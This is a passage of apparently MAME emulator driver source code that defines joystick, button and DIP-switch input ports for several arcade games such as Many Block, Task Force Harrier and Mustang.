PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_SERVICE_DIPLOC( 0x02, IP_ACTIVE_LOW, "SW1:7" ) PORT_DIPNAME( 0x0c, 0x0c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0c, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x08, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x04, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x20, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_DIPSETTING( 0x00, "5" ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x1c, 0x1c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x10, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x18, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x14, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x04, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0xe0, 0xe0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x80, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x40, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x60, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x00, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( manybloc ) PORT_START("IN0") // 0x080000 PORT_BIT( 0x7fff, IP_ACTIVE_HIGH, IPT_UNUSED ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) // VBLANK ? Check code at 0x005640 PORT_START("IN1") // 0x080002 PORT_BIT( 0x0001, IP_ACTIVE_HIGH, IPT_START1 ) PORT_BIT( 0x0002, IP_ACTIVE_HIGH, IPT_BUTTON1 ) PORT_PLAYER(1) // select fruits PORT_BIT( 0x0004, IP_ACTIVE_HIGH, IPT_BUTTON2 ) PORT_PLAYER(1) // help PORT_BIT( 0x0008, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_BIT( 0x0010, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_BIT( 0x0020, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_BIT( 0x0040, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_8WAY PORT_BIT( 0x0080, IP_ACTIVE_HIGH, IPT_COIN1 ) PORT_BIT( 0x0100, IP_ACTIVE_HIGH, IPT_START2 ) PORT_BIT( 0x0200, IP_ACTIVE_HIGH, IPT_BUTTON1 ) PORT_PLAYER(2) // select fruits PORT_BIT( 0x0400, IP_ACTIVE_HIGH, IPT_BUTTON2 ) PORT_PLAYER(2) // help PORT_BIT( 0x0800, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_COCKTAIL PORT_BIT( 0x1000, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_COCKTAIL PORT_BIT( 0x2000, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_COCKTAIL PORT_BIT( 0x4000, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_8WAY PORT_COCKTAIL PORT_BIT( 0x8000, IP_ACTIVE_HIGH, IPT_COIN2 ) PORT_START("DSW1") // 0x080004 -> 0x0f0036 PORT_DIPNAME( 0x0001, 0x0000, "Slot System" ) PORT_DIPLOCATION("SW1:1") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0001, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0000, "Explanation" ) PORT_DIPLOCATION("SW1:2") PORT_DIPSETTING( 0x0000, DEF_STR( English ) ) PORT_DIPSETTING( 0x0002, DEF_STR( Japanese ) ) PORT_DIPNAME( 0x0004, 0x0000, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, DEF_STR( Cabinet ) ) PORT_DIPLOCATION("SW1:4") // "Play Type" PORT_DIPSETTING( 0x0008, DEF_STR( Upright ) ) // "Uplight" ! PORT_DIPSETTING( 0x0000, DEF_STR( Cocktail ) ) // "Table" PORT_SERVICE_DIPLOC( 0x10, IP_ACTIVE_HIGH, "SW1:5" ) // "Test Mode" PORT_DIPNAME( 0x0060, 0x0000, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,7") PORT_DIPSETTING( 0x0060, DEF_STR( Easy ) ) // "Level 1 PORT_DIPSETTING( 0x0000, DEF_STR( Normal ) ) // "Level 2 PORT_DIPSETTING( 0x0020, DEF_STR( Hard ) ) // "Level 3 PORT_DIPSETTING( 0x0040, DEF_STR( Hardest ) ) // "Level 4 PORT_DIPNAME( 0x0080, 0x0000, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") // "Display" PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) // "Normal" PORT_DIPSETTING( 0x0080, DEF_STR( On ) ) // "Inverse" PORT_DIPNAME( 0x0700, 0x0000, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:1,2,3") PORT_DIPSETTING( 0x0700, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x0600, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0500, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0400, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0100, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0200, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0300, DEF_STR( 1C_4C ) ) PORT_DIPNAME( 0x3800, 0x0000, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:4,5,6") PORT_DIPSETTING( 0x3800, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x3000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x2800, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0800, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x1000, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x1800, DEF_STR( 1C_4C ) ) PORT_DIPNAME( 0xc000, 0x0000, "Plate Probability" ) PORT_DIPLOCATION("SW2:7,8") PORT_DIPSETTING( 0xc000, "Bad" ) PORT_DIPSETTING( 0x0000, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x4000, "Better" ) PORT_DIPSETTING( 0x8000, "Best" ) INPUT_PORTS_END static INPUT_PORTS_START( tomagic ) PORT_START("IN0") // $080000.w PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0xff00, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") // $080002.w PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_PLAYER(1) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_PLAYER(2) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0004, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Demo_Sounds ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0010, DEF_STR( On ) ) PORT_DIPNAME( 0x00e0, 0x00e0, DEF_STR( Coin_A ) ) PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00c0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00e0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00a0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_BIT( 0xff00, IP_ACTIVE_LOW, IPT_UNUSED ) PORT_START("DSW2") // somewhere in here is likely Difficulty & Bonus PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0004, 0x0004, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unknown ) ) PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, "Balls" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_DIPSETTING( 0x0000, "5" ) PORT_BIT( 0xff00, IP_ACTIVE_LOW, IPT_UNUSED ) INPUT_PORTS_END /********************************************************** Input Ports: Task Force Harrier this is a little strange compared to the other games, the protection might be more involved here than it first appears, however, this works. **********************************************************/ static INPUT_PORTS_START( tharrier ) PORT_START("IN0") PORT_BIT( 0x0001, IP_ACTIVE_HIGH, IPT_COIN1 ) PORT_BIT( 0x0002, IP_ACTIVE_HIGH, IPT_COIN2 ) PORT_BIT( 0x0004, IP_ACTIVE_HIGH, IPT_SERVICE1 ) PORT_BIT( 0x0008, IP_ACTIVE_HIGH, IPT_START1 ) PORT_BIT( 0x0010, IP_ACTIVE_HIGH, IPT_START2 ) PORT_BIT( 0x7fe0, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_CUSTOM ) // MCU status? PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_START1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_START2) //title PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_UNKNOWN) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_START2 ) //in game PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x001c, 0x001c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x00e0, 0x00e0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00c0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00e0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00a0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Cabinet ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0100, DEF_STR( Upright ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Cocktail ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0c00, 0x0c00, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0400, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c00, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0800, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x3000, 0x3000, DEF_STR( Bonus_Life ) ) PORT_DIPLOCATION("SW1:4,3") PORT_DIPSETTING( 0x3000, "200k" ) PORT_DIPSETTING( 0x2000, "200k and 1 Mil" ) PORT_DIPSETTING( 0x0000, "200k, 500k & 1,2,3,5 Mil" ) PORT_DIPSETTING( 0x1000, DEF_STR( None ) ) PORT_DIPNAME( 0xc000, 0xc000, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x4000, "2" ) PORT_DIPSETTING( 0xc000, "3" ) PORT_DIPSETTING( 0x8000, "4" ) PORT_DIPSETTING( 0x0000, "5" ) PORT_START("IN2") PORT_BIT( 0x0001, IP_ACTIVE_HIGH, IPT_UNKNOWN ) PORT_BIT( 0x0002, IP_ACTIVE_HIGH, IPT_BUTTON1) PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_HIGH, IPT_BUTTON2) PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0080, IP_ACTIVE_HIGH, IPT_BUTTON3 )PORT_PLAYER(1) PORT_BIT( 0x0100, IP_ACTIVE_HIGH, IPT_UNKNOWN )//coin ? PORT_BIT( 0x0200, IP_ACTIVE_HIGH, IPT_BUTTON1) PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_HIGH, IPT_BUTTON2) PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x8000, IP_ACTIVE_HIGH, IPT_UNKNOWN ) //coin ? INPUT_PORTS_END static INPUT_PORTS_START( mustang ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // TEST in service mode PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x001c, 0x001c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x00e0, 0x00e0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00c0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00e0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00a0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0c00, 0x0c00, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0400, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c00, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0800, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x1000, 0x1000, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x1000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x2000, 0x2000, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x2000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0xc000, 0xc000, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x4000, "2" ) PORT_DIPSETTING( 0xc000, "3" ) PORT_DIPSETTING( 0x8000, "4" ) PORT_DIPSETTING( 0x0000, "5" ) PORT_START("COIN") // referenced by Seibu sound board PORT_BIT( 0xff, IP_ACTIVE_LOW, IPT_UNKNOWN ) INPUT_PORTS_END static INPUT_PORTS_START( hachamf_prot ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) //bryan: test mode in some games? PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) 